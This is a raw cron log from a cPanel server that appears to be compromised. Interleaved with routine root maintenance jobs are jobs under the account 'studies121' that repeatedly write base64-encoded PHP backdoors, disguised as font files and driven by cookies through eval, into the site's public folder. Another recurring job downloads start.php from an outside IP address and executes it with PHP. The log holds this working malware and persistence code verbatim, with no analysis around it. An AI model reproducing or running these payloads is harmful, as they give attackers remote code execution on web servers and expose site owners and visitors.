Sep  7 22:09:01 ip-184-168-122-23 CROND[27378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:09:01 ip-184-168-122-23 CROND[27380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:09:01 ip-184-168-122-23 CROND[27381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:09:01 ip-184-168-122-23 CROND[27382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:09:01 ip-184-168-122-23 CROND[27383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 22:10:01 ip-184-168-122-23 CROND[27474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:10:01 ip-184-168-122-23 CROND[27475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:10:01 ip-184-168-122-23 CROND[27482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:10:01 ip-184-168-122-23 CROND[27483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:10:01 ip-184-168-122-23 CROND[27479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:10:01 ip-184-168-122-23 CROND[27481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:10:01 ip-184-168-122-23 CROND[27480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:10:01 ip-184-168-122-23 CROND[27486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:11:01 ip-184-168-122-23 CROND[27592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:11:01 ip-184-168-122-23 CROND[27593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:11:01 ip-184-168-122-23 CROND[27594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:11:01 ip-184-168-122-23 CROND[27595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:12:01 ip-184-168-122-23 CROND[27703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:12:01 ip-184-168-122-23 CROND[27705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:12:01 ip-184-168-122-23 CROND[27704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:12:01 ip-184-168-122-23 CROND[27706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:12:01 ip-184-168-122-23 CROND[27707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:13:01 ip-184-168-122-23 CROND[27809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:13:01 ip-184-168-122-23 CROND[27810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:13:01 ip-184-168-122-23 CROND[27813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:13:01 ip-184-168-122-23 CROND[27811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:14:01 ip-184-168-122-23 CROND[27899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:14:01 ip-184-168-122-23 CROND[27901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:14:01 ip-184-168-122-23 CROND[27900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:14:01 ip-184-168-122-23 CROND[27903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:14:01 ip-184-168-122-23 CROND[27902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:15:01 ip-184-168-122-23 CROND[28085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:15:01 ip-184-168-122-23 CROND[28091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:15:01 ip-184-168-122-23 CROND[28089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:15:01 ip-184-168-122-23 CROND[28088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:15:01 ip-184-168-122-23 CROND[28087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:15:01 ip-184-168-122-23 CROND[28090]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 22:15:01 ip-184-168-122-23 CROND[28086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:16:01 ip-184-168-122-23 CROND[28864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:16:01 ip-184-168-122-23 CROND[28869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:16:01 ip-184-168-122-23 CROND[28866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:16:01 ip-184-168-122-23 CROND[28865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:16:01 ip-184-168-122-23 CROND[28867]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:16:01 ip-184-168-122-23 CROND[28868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:17:01 ip-184-168-122-23 CROND[28957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:17:01 ip-184-168-122-23 CROND[28958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:17:01 ip-184-168-122-23 CROND[28959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:17:01 ip-184-168-122-23 CROND[28962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:18:01 ip-184-168-122-23 CROND[29044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:18:01 ip-184-168-122-23 CROND[29045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:18:01 ip-184-168-122-23 CROND[29046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:18:01 ip-184-168-122-23 CROND[29048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:18:01 ip-184-168-122-23 CROND[29049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:19:01 ip-184-168-122-23 CROND[29131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:19:01 ip-184-168-122-23 CROND[29134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:19:01 ip-184-168-122-23 CROND[29132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:19:01 ip-184-168-122-23 CROND[29133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:20:01 ip-184-168-122-23 CROND[29332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:20:01 ip-184-168-122-23 CROND[29334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:20:01 ip-184-168-122-23 CROND[29335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:20:01 ip-184-168-122-23 CROND[29338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:20:01 ip-184-168-122-23 CROND[29339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:20:01 ip-184-168-122-23 CROND[29340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:20:01 ip-184-168-122-23 CROND[29341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:20:01 ip-184-168-122-23 CROND[29344]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:20:01 ip-184-168-122-23 CROND[29345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:21:01 ip-184-168-122-23 CROND[29443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
